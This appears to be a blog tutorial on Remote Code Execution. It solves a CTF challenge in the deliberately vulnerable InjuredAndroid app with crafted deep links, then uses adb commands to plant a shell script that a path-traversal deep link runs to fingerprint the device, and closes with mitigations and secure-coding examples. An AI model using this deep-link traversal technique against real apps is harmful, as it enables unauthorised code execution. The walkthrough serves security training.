What is Remote Code Execution (RCE)?

Remote Code Execution (RCE) is a critical security vulnerability that allows an attacker to run malicious code on a remote system or server without the user's consent. Essentially, it means the attacker can gain control of another computer from anywhere in the world, executing commands as if they were a legitimate user or system administrator.

RCE vulnerabilities usually arise due to insecure input validation, software bugs, or unpatched systems. Once exploited, attackers can use RCE to install malware, steal sensitive data, alter system configurations, or even take complete control of enterprise networks.

Example: If a web application accepts user input and directly executes it on a server (e.g., in a shell command or database query) without sanitization, an attacker could inject malicious commands that the server then executes — leading to a full compromise.

⚙️ Common Causes of Remote Code Execution

⚙️Unsafe Input Handling — Executing user-supplied input directly without validation. ⚙️Outdated or Unpatched Software — Vulnerabilities in old versions of frameworks, libraries, or OS components. ⚙️Deserialization Vulnerabilities — Allowing attackers to inject malicious serialized data into an application. ⚙️Injection Flaws — Such as command injection, SQL injection, or template injection that allow code execution. ⚙️Weak Authentication — Insufficient access controls enabling attackers to reach administrative functions.

Understanding Deeplinks

A deep link is a special type of link (usually a URL) that takes you directly to a specific page, resource, or function inside a mobile app or website, rather than just opening the app's home screen.

Think of it like this:

A normal link → opens the app or site at its main entry point (like opening Instagram on your feed).

A deep link → jumps directly into a specific part of the app (like opening Instagram directly on a specific post, profile, or story).

We will see this by solving a CTF challenge from a vulnerable application called Injured Android

For further Reference: Challenge name: Flag 13 -RCE

Look into the RCEActivity via the Jadx-gui tool, it had a hint directing to look for binary files inside the APK/assets. The binary name is narnia.x86_64

Press enter or click to view the image in full size

None
None

Then we need to check what kind of parameters this binary is accepting

Use APKTool to decompile the app and go to assets -> narnia.x86_64 to check for available parameters, as shown below

Press enter or click to view the image in full size

None

Now we need to inspect AndroidManifest.xml, RCEActivity and find a deep-link intent filter. The app exposes a custom scheme that accepts query parameters such as binary and param.

Press enter or click to view image in full size

None
None

We need to craft deep links that will call the activity with the correct parameters. We will use the HTML file below as poc to retrieve our flag

<html>
<p><a href="flag13://rce?binary=narnia.x86_64&param=testOne">Test one!</p>
<p><a href="flag13://rce?binary=narnia.x86_64&param=testTwo">Test two!</p>
<p><a href="flag13://rce?binary=narnia.x86_64&param=testThree">Test three!</p>
<p><a href="flag13://rce?combined=Treasure_Planet">OH SNAP!</p>
</html>

Press enter or click to view image in full size

None
None

Finally, we retrieve the flag

Now comes the exciting part for further exploitation. We will explore how to run system/OS commands.

Run the commands below in Windows PowerShell

adb shell "echo '#!/system/bin/sh' > /data/local/tmp/payload.sh"
adb shell "echo 'id > /data/data/<package-name>/files/rce_id.txt 2>&1' >> /data/local/tmp/payload.sh"
adb shell "echo 'uname -a>> /data/data/<package-name>/files/rce_id.txt 2>&1' >> /data/local/tmp/payload.sh"
adb shell "echo 'echo DONE >> /data/data/<package-name>/files/rce_id.txt' >> /data/local/tmp/payload.sh"
adb shell "echo 'cat /proc/cpuinfo>> /data/data/<package-name>/files/rce_id.txt 2>&1' >> /data/local/tmp/payload.sh"
adb shell "echo 'echo DONE >> /data/data/<package-name>/files/rce_id.txt' >> /data/local/tmp/payload.sh"
adb shell chmod 755 /data/local/tmp/payload.sh
adb shell am start -a android.intent.action.VIEW -d "flag13://rce?binary=../../../../data/local/tmp/payload.sh&param="

What happens from the above commands is a shell script (payload.sh) in a writable location on a device, makes it executable, then triggers a vulnerable app via a crafted deep link that tells the app to execute that script, resulting in arbitrary code execution and environment fingerprinting if the app blindly trusts the intent data

Press enter or click to view the image in full size

None

I have created a rce_id.txt file where the results of our executed commands will be stored.

Press enter or click to view the image in full size

None

I have run 3 commands : id, uname -a, cat /proc/cpuinfo

Press enter or click to view the image in full size

None

Successfully exploited and able to run arbitrary commands

Below are some pointers we can follow in a real mobile pentest

Decompile (JADX, JADX-GUI, Ghidra, Hopper) and read Manifest/Info.plist for exported components, android:exported, allowBackup, taskAffinity, android:sharedUserId.

Search for dangerous APIs: Runtime.exec, ProcessBuilder, System.loadLibrary, WebView.loadUrl with javascript:/addJavascriptInterface, openFile/FileProvider misuse, deserialization (GSON with unchecked types), reflection/Class.forName, Serializable handling.

Inspect native libs and assets for bundled binaries or interpreters. Look for use of popen, system, execve in native code.

Look for unsafe parsing of external input (URI query params passed to exec, eval, shell, file paths concatenated without canonicalization).

Mitigations

Don't execute files based on untrusted input

Avoid using shell/Runtime.exec/ProcessBuilder with user data

Whitelist / canonicalize all intent inputs

Real-World Impact of RCE Attacks

  • Equifax Data Breach (2017) — Exploited an unpatched Apache Struts RCE vulnerability, exposing sensitive personal data of 147 million people.
  • Log4Shell (2021) — A global RCE vulnerability in the Apache Log4j library that allowed attackers to run arbitrary code on millions of servers.
  • Microsoft Exchange Server Exploits (2021) — Attackers used RCE vulnerabilities to deploy ransomware and steal data from enterprises.

General RCE Protection Mechanisms

1. Validate and Sanitize All User Inputs

Never trust user input. Whether it comes from a web form, API request, or uploaded file, always validate and sanitize it before processing. Use allow-lists (positive validation) instead of blocklists. Escape special characters (quotes, brackets, etc.) that could trigger code injection. Use frameworks and libraries that automatically handle escaping and input validation (e.g., OWASP ESAPI).

E.g.: (Python Code)

# BAD: executes user input directly os.system("ping " + user_input) # GOOD: whitelist validation if user_input.isdigit(): os.system(f"ping -c 4 {user_input}")

2. Use Parameterized Queries and ORM Frameworks

SQL injection is a common path to RCE. Prevent this by using parameterized queries or Object-Relational Mappers (ORMs) that safely handle database interactions.

E.g.: (Python Code)

# BAD cursor.execute("SELECT * FROM users WHERE id = " + user_id) # GOOD cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

3. Implement Strong Input Encoding

Before executing or rendering user data, apply proper encoding (HTML, URL, or command-line encoding) based on the execution context. This ensures user input cannot be interpreted as executable code by the system.

4. Keep Software and Dependencies Updated

Attackers often exploit known vulnerabilities in outdated software, plugins, and libraries.

  • Regularly patch operating systems, web servers, frameworks (like Django, Spring, or Laravel), and dependencies.
  • Use tools like Dependabot, Snyk, or OWASP Dependency-Check to track and fix vulnerabilities.

5. Use Web Application Firewalls (WAFs)

Deploy a WAF to inspect incoming HTTP traffic for malicious payloads. Modern WAFs use signature-based and AI-driven detection to block injection attempts and known exploit patterns (like command injection, file inclusion, or RCE attempts).

6. Apply the Principle of Least Privilege (PoLP)

Run applications and services with the minimum required permissions. If an attacker exploits an RCE flaw, limited privileges will reduce the potential damage.

  • Avoid running apps as root or administrator.
  • Use sandboxing and container isolation to confine processes.

7. Disable Dangerous Functions and Commands

In languages like PHP, Python, and C, restrict or disable system-level functions that allow shell execution. 💡 Examples:

  • Disable PHP functions like exec(), system(), and shell_exec().
  • In Python, avoid os.system() and eval(); use safe alternatives.

8. Implement Secure File Handling

File uploads can be an RCE vector if attackers upload malicious scripts disguised as images or documents.

  • Validate file type, size, and extension.
  • Store files outside the web root.
  • Rename uploaded files and scan them with antivirus or sandbox tools.

9. Employ Runtime Application Self-Protection (RASP)

RASP tools embed security directly into your application runtime. They monitor real-time execution, detect abnormal behavior, and block malicious payloads before they execute. RASP complements firewalls by offering context-aware protection within the application layer.

10. Conduct Regular Security Testing

Routine testing helps detect RCE vulnerabilities before attackers do:

  • Perform Static Application Security Testing (SAST) for code-level issues.
  • Use Dynamic Application Security Testing (DAST) to simulate real-world attacks.
  • Perform penetration testing and bug bounty programs to uncover hidden risks.

11. Implement Zero Trust Security Architecture

Zero Trust assumes no user or device is inherently trusted.

  • Verify every access attempt.
  • Continuously monitor user and application behavior.
  • Use MFA (Multi-Factor Authentication) and continuous authorization to limit RCE exploitation spread.

12. Monitor and Log System Activities

Deploy centralized logging and monitoring (via SIEM tools like Splunk, ELK, or Sentinel).

  • Detect suspicious command executions, privilege escalations, or unusual outbound connections.
  • Automate alerts for anomalous access patterns that may indicate RCE exploitation attempts.

13. Isolate and Segment Networks

Even if one service is compromised, network segmentation limits lateral movement.

  • Separate development, staging, and production environments.
  • Use micro-segmentation in cloud and container networks.
  • Restrict communication paths between critical systems.

14. Adopt Secure Coding Standards

Train developers to follow secure coding practices:

  • Avoid unsafe functions (eval, exec, popen).
  • Apply code reviews focusing on input handling and deserialization.
  • Follow frameworks like OWASP Secure Coding Guidelines or CERT coding standards.

15. Implement Application Sandboxing

Sandboxing isolates processes in a controlled environment. If malicious code executes, it remains confined and cannot affect other systems or files. Containers (Docker) and virtual machines (VMs) are practical for sandboxing web applications and APIs.

16. Perform Regular Configuration Audits

Misconfigurations often enable RCEs. Regularly audit:

  • Server settings
  • Access control policies
  • API endpoints
  • Third-party plugin permissions

Use automated configuration scanning tools (like ScoutSuite or OpenVAS) to identify and remediate insecure configurations.

Wrapping Up

Remote Code Execution attacks are among the most severe and costly cyber threats, enabling attackers to gain complete control over a system. Preventing RCE requires a multi-layered defense, combining secure coding, continuous patching, least-privilege access, and proactive monitoring. AI-driven detection systems and Zero Trust frameworks further strengthen enterprise resilience by ensuring no unverified code ever executes unchecked.